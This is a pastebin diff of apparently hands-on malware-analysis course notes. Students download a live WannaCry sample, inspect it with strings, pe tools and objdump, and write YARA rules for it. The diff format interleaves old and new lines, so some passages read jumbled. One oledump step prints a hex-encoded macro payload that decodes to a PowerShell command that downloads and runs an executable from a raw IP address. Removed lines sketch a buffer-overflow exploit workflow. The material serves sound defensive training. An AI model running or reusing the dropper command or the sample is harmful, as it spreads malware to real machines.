View difference between Paste ID: tU0KkYc7 and UB868q2s

 ############################
-# Setup your CentOS 7 host #
+# Download the Analysis VM #
 ############################
-yum update
+
-yum install -y nmap python2-scapy.noarch python34-scapy.noarch whois.x86_64 tcpdump.x86_64 unzip wget tcpflow.x86_64
+user: infosecaddicts
 pass: infosecaddicts
 
 
 
 - Log in to your Ubuntu system with the username 'infosecaddicts' and the password 'infosecaddicts'.
 
 
 ###################################
 # Setting up your virtual machine #
 ###################################
 
 Here is where we will setup all of the required dependencies for the tools we plan to install
 ---------------------------Type This-----------------------------------
 sudo apt update
 sudo apt-get install -y python3-pip python3-dev unzip python3-setuptools ipython3 build-essential python-pefile python2.7 python-pip python-setuptools mysql-server python-mysqldb python-mysqldb
 
 
 sudo pip install -U olefile
 
 
 git clone https://github.com/Te-k/pe.git
-mkdir malware_analysis
+cd pe
 sudo python3 setup.py install
-cd malware_analysis
+pip3 install .
 cd ..
 wget https://s3.amazonaws.com/infosecaddictsfiles/wannacry.zip
      infected
 -----------------------------------------------------------------------
 
 
 
 
 ################
 # The Scenario #
 ################
 You've come across a file that has been flagged by one of your security products (AV Quarantine, HIPS, Spam Filter, Web Proxy, or digital forensics scripts).
 
 
 The fastest thing you can do is perform static analysis.
 
 
 
 ###################
 # Static Analysis #
 ###################
 
 - After logging please open a terminal window and type the following commands:
 
 
 ---------------------------Type This-----------------------------------
 cd ~
 
 mkdir static_analysis
 
 cd static_analysis
-strings --all wannacry.exe | head -n 6
+
 wget https://s3.amazonaws.com/infosecaddictsfiles/wannacry.zip
 
 unzip wannacry.zip
      infected
 
 file wannacry.exe
 
 mv wannacry.exe malware.pdf
 
 file malware.pdf
 
 mv malware.pdf wannacry.exe
 
 hexdump -n 2 -C wannacry.exe
 
 ----------------------------------------------------------------------
 
 
 ***What is '4d 5a' or 'MZ'***
 Reference:
 http://www.garykessler.net/library/file_sigs.html
 
 
 
 
 ---------------------------Type This-----------------------------------
 objdump -x wannacry.exe
 
 strings wannacry.exe
 
 strings wannacry.exe | grep -i dll
 
 strings wannacry.exe | grep -i library
 
 strings wannacry.exe | grep -i reg
 
 strings wannacry.exe | grep -i key
 
 strings wannacry.exe | grep -i rsa
 
 strings wannacry.exe | grep -i open
 
 strings wannacry.exe | grep -i get
 
 strings wannacry.exe | grep -i mutex
 
 strings wannacry.exe | grep -i irc
 
 strings wannacry.exe | grep -i join
 
 strings wannacry.exe | grep -i admin
 
 strings wannacry.exe | grep -i list
 ----------------------------------------------------------------------
 
 
 
 
 
 ---------------------------Type This-----------------------------------
 pe info wannacry.exe
 pe check wannacry.exe
 pe dump --section text wannacry.exe
 pe dump --section data wannacry.exe
 pe dump --section rsrc wannacry.exe
 pe dump --section reloc wannacry.exe
 strings rdata | less
 strings rsrc | less
 strings text | less
 ----------------------------------------------------------------------
 
 
 
 
 
 
 
 
 Hmmmmm.......what's the latest thing in the news - oh yeah "WannaCry"
 
 Quick Google search for "wannacry ransomeware analysis"
 
 
 Reference
 https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
 
 - Yara Rule -
 
 
 Strings:
 $s1 = “Ooops, your files have been encrypted!” wide ascii nocase
 $s2 = “Wanna Decryptor” wide ascii nocase
 $s3 = “.wcry” wide ascii nocase
 $s4 = “WANNACRY” wide ascii nocase
 $s5 = “WANACRY!” wide ascii nocase
 $s7 = “icacls . /grant Everyone:F /T /C /Q” wide ascii nocase
 
 
 
 
 
 
 
 
-wget https://files.pythonhosted.org/packages/ed/cc/157f20038a80b6a9988abc06c11a4959be8305a0d33b6d21a134127092d4/pefile-2018.8.8.tar.gz
+
-tar -zxvf pefile-2018.8.8.tar.gz
+
-cd pefile-2018.8.8
+
-python setup.py install
+
 strings wannacry.exe | grep -i ooops
 
 strings wannacry.exe | grep -i wanna
 
 strings wannacry.exe | grep -i wcry
 
 strings wannacry.exe | grep -i wannacry
 
 strings wannacry.exe | grep -i wanacry          **** Matches $s5, hmmm.....
 ----------------------------------------------------------------------
 
 
-python am.py wannacry.exe
+
 
 
 
 
 
 
 
-# Reference:                                        #
+
-# https://jon.glass/analyzes-dridex-malware-p1/     #
+
 
 
-yum -y install epel-release
+
-yum -y install python-pip
+
-pip install -U olefile
+
-
+
 ####################################
-mkdir oledump
+
 
-cd oledump
+
 https://s3.amazonaws.com/infosecaddictsfiles/analyse_malware.py
 
 This is a really good script for the basics of static analysis
 
 Reference:
 https://joesecurity.org/reports/report-db349b97c37d22f5ea1d1841e3c89eb4.html
 
 
 This is really good for showing some good signatures to add to the Python script
 
 
 Here is my own script using the signatures (started this yesterday, but still needs work):
 https://pastebin.com/guxzCBmP
 
 
 
 ---------------------------Type This-----------------------------------
 wget https://pastebin.com/raw/guxzCBmP
 
 
 mv guxzCBmP am.py
 
 
 vi am.py
 
 python2.7 am.py wannacry.exe
 ----------------------------------------------------------------------
 
 
 
 ##############
 # Yara Ninja #
 ##############
 
 Reference:
 https://securingtomorrow.mcafee.com/executive-perspectives/analysis-wannacry-ransomware-outbreak/
 
 ----------------------------------------------------------------------------
-----------------------------------------------------------------------------------------------------------------------------
+rule wannacry_1 : ransom
-##################################
+{
-# PCAP Analysis with ChaosReader #
+    meta:
-# Note: run as regular user      #
+        author = "Joshua Cannell"
-##################################
+        description = "WannaCry Ransomware strings"
         weight = 100
         date = "2017-05-12"
 
-mkdir -p pcap_analysis/chaos_reader/
+    strings:
         $s1 = "Ooops, your files have been encrypted!" wide ascii nocase
-cd ~/pcap_analysis/chaos_reader/
+        $s2 = "Wanna Decryptor" wide ascii nocase
         $s3 = ".wcry" wide ascii nocase
-wget https://s3.amazonaws.com/infosecaddictsfiles/suspicious-time.pcap
+        $s4 = "WANNACRY" wide ascii nocase
         $s5 = "WANACRY!" wide ascii nocase
-wget https://s3.amazonaws.com/infosecaddictsfiles/chaosreader.pl
+        $s7 = "icacls . /grant Everyone:F /T /C /Q" wide ascii nocase
 
-perl chaosreader.pl suspicious-time.pcap
+    condition:
         any of them
-cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)"
+}
 
-cat index.text | grep -v '"' | grep -oE "([0-9]+\.){3}[0-9]+.*\)" | awk '{print $4, $5, $6}' | sort | uniq -c | sort -nr
+----------------------------------------------------------------------------
 rule wannacry_2{
     meta:
-for i in session_00[0-9]*.http.html; do srcip=`cat "$i" | grep 'http:\ ' | awk '{print $2}' |  cut -d ':' -f1`; dstip=`cat "$i" | grep 'http:\ ' | awk '{print $4}' |  cut -d ':' -f1`; host=`cat "$i" | grep 'Host:\ ' | sort -u | sed -e 's/Host:\ //g'`; echo "$srcip --> $dstip = $host";  done | sort -u
+        author = "Harold Ogden"
         description = "WannaCry Ransomware Strings"
-/sbin/iptables -F
+        date = "2017-05-12"
         weight = 100
-python -m SimpleHTTPServer
+
-          ****** Open a web browser and browse the the IP address of your Linux machine port 8000 for the web page *****
+    strings:
         $string1 = "msg/m_bulgarian.wnry"
-------------------------------------------------------------------------
+        $string2 = "msg/m_chinese (simplified).wnry"
-###########################
+        $string3 = "msg/m_chinese (traditional).wnry"
-# Setting up your machine #
+        $string4 = "msg/m_croatian.wnry"
-###########################
+        $string5 = "msg/m_czech.wnry"
         $string6 = "msg/m_danish.wnry"
         $string7 = "msg/m_dutch.wnry"
-yum -y groupinstall 'Development Tools'
+        $string8 = "msg/m_english.wnry"
-yum install -y libpcap-devel.i686 libpcap-devel.x86_64 libpcap.i686 libpcap.x86_64 pcapy.x86_64 p0f.x86_64 perl tcpdump python-docutils git gcc pcre-devel.i686 pcre-devel.x86_64 glibc-static
+        $string9 = "msg/m_filipino.wnry"
         $string10 = "msg/m_finnish.wnry"
-cd ~/pcap_analysis/
+        $string11 = "msg/m_french.wnry"
-git clone git://github.com/gamelinux/prads.git
+        $string12 = "msg/m_german.wnry"
-cd prads
+        $string13 = "msg/m_greek.wnry"
-make
+        $string14 = "msg/m_indonesian.wnry"
-make install
+        $string15 = "msg/m_italian.wnry"
         $string16 = "msg/m_japanese.wnry"
-wget https://s3.amazonaws.com/infosecaddictsfiles/suspicious-time.pcap
+        $string17 = "msg/m_korean.wnry"
         $string18 = "msg/m_latvian.wnry"
-prads -r suspicious-time.pcap -l prads-asset.log
+        $string19 = "msg/m_norwegian.wnry"
         $string20 = "msg/m_polish.wnry"
-cat prads-asset.log | less
+        $string21 = "msg/m_portuguese.wnry"
-------------------------------------------------------------------------
+        $string22 = "msg/m_romanian.wnry"
         $string23 = "msg/m_russian.wnry"
         $string24 = "msg/m_slovak.wnry"
         $string25 = "msg/m_spanish.wnry"
         $string26 = "msg/m_swedish.wnry"
         $string27 = "msg/m_turkish.wnry"
         $string28 = "msg/m_vietnamese.wnry"
-- Step 1: Installing MySQL database
+
-- Run the following command in the terminal:
+
     condition:
-yum install -y mariadb-server MySQL-python.x86_64 mysql-connector-python.noarch python2-PyMySQL.noarch mariadb.x86_64 mariadb-devel.x86_64 mariadb-libs.x86_64
+        any of ($string*)
-------------------------------------------------------------------------
+}
-
+----------------------------------------------------------------------------
-- Step 2: Configure the database to accept large files by adding 'max_allowed_packet = 16M' to the /etc/my.cnf file
+
 
-vi /etc/my.cnf
+
-max_allowed_packet = 16M
+
-------------------------------------------------------------------------
+
 
-Step 3: Start MariaDB
+
-- Run the following command in the terminal:
+
 # Analyzing Macro Embedded Malware                  #
-systemctl enable mariadb
+
-systemctl start mariadb
+
-------------------------------------------------------------------------
+mkdir ~/oledump
 
-Step 4: Logging in
+cd ~/oledump
 
 wget http://didierstevens.com/files/software/oledump_V0_0_22.zip
 
 unzip oledump_V0_0_22.zip
-use mysql;
+
-update user SET PASSWORD=PASSWORD("malware") WHERE USER='root';
+
-flush privileges;
+
 unzip 064016.zip
-grant all on malware.* to 'root' identified by 'malware';
+
 
-------------------------------------------------------------------------
+
 
 python oledump.py 064016.doc -s A4 -v
  -----------------------------------------------------------------------
-Step 5: Configure the database setup script
+
----------------------------Type This-----------------------------------
+
 
 - From this we can see this Word doc contains an embedded file called editdata.mso which contains seven data streams.
 - Three of the data streams are flagged as macros: A3:’VBA/Module1′, A4:’VBA/Module2′, A5:’VBA/ThisDocument’.
 
 ---------------------------Type This-----------------------------------
-------------------------------------------------------------------------
+
 -----------------------------------------------------------------------
 
-Step 6: check it to see if the files table was created
+
---------------------------Type This-----------------------------------
+
 ---------------------------Type This-----------------------------------
 python oledump.py 064016.doc -s A3 -v
 
 - Look for "GVhkjbjv" and you should see:
 
 636D64202F4B20706F7765727368656C6C2E657865202D457865637574696F6E506F6C69637920627970617373202D6E6F70726F66696C6520284E65772D4F626A6563742053797374656D2E4E65742E576562436C69656E74292E446F776E6C6F616446696C652827687474703A2F2F36322E37362E34312E31352F6173616C742F617373612E657865272C272554454D50255C4A494F696F646668696F49482E63616227293B20657870616E64202554454D50255C4A494F696F646668696F49482E636162202554454D50255C4A494F696F646668696F49482E6578653B207374617274202554454D50255C4A494F696F646668696F49482E6578653B
 
 - Take that long blob that starts with 636D and finishes with 653B and paste it in:
 http://www.rapidtables.com/convert/number/hex-to-ascii.htm
 -----------------------------------------------------------------------
 
 
 
 ###############################
 # Creating a Malware Database #
 ###############################
-Step 7:  Now add the malicious file to the DB
+
 -----------------------------------
 - Step 1: Logging in
 Run the following command in the terminal:
 ---------------------------Type This-----------------------------------
 mysql -u root -p                    (set a password of 'malware')
 
 - Then create one database by running following command:
-------------------------------------------------------------------------
+
 create database malware;
 
-Step 8: Now check to see if it is in the DB
+
 
 wget https://raw.githubusercontent.com/dcmorton/MalwareTools/master/mal_to_db.py
 
 vi mal_to_db.py                     (fill in database connection information)
 
 python mal_to_db.py -i
 
 ------- check it to see if the files table was created ------
-mysql> quit;
+
-------------------------------------------------------------------------
+
     malware
 
--------------------------------------------------
+
-1. App Type
+
-    - Stand Alone
+
-    - Client Server     (***vulnserver.exe***)
+
-    - Web App
+
 
-2. Input Type
+
-    - Stand Alone       File/Keyboard/Mouse
+
-    - Client Server     Logical network port        (***9999***)
+
-    - Web App       Browser
+
 ---------------------------------
 
-3. Map and fuzz app entry points
+
-    - Commands, Methods, Verbs, functions, controllers, subroutines
+- Now add the malicious file to the DB
-    TRUN 2100
+
 python mal_to_db.py -f wannacry.exe -u
-4. Isolate the crash
+
-    EIP = 39 6F 43 38
+
-           9  o C   8
+
 - Now check to see if it is in the DB
-5. Calculate distance to EIP
+
-    2006
+
     malware
-6. Redirect code execution to mem location you control
+
 mysql> use malware;
-7. Insert payload (shellcode)
+
---------------------------------------------------------------
+
 
 mysql> quit;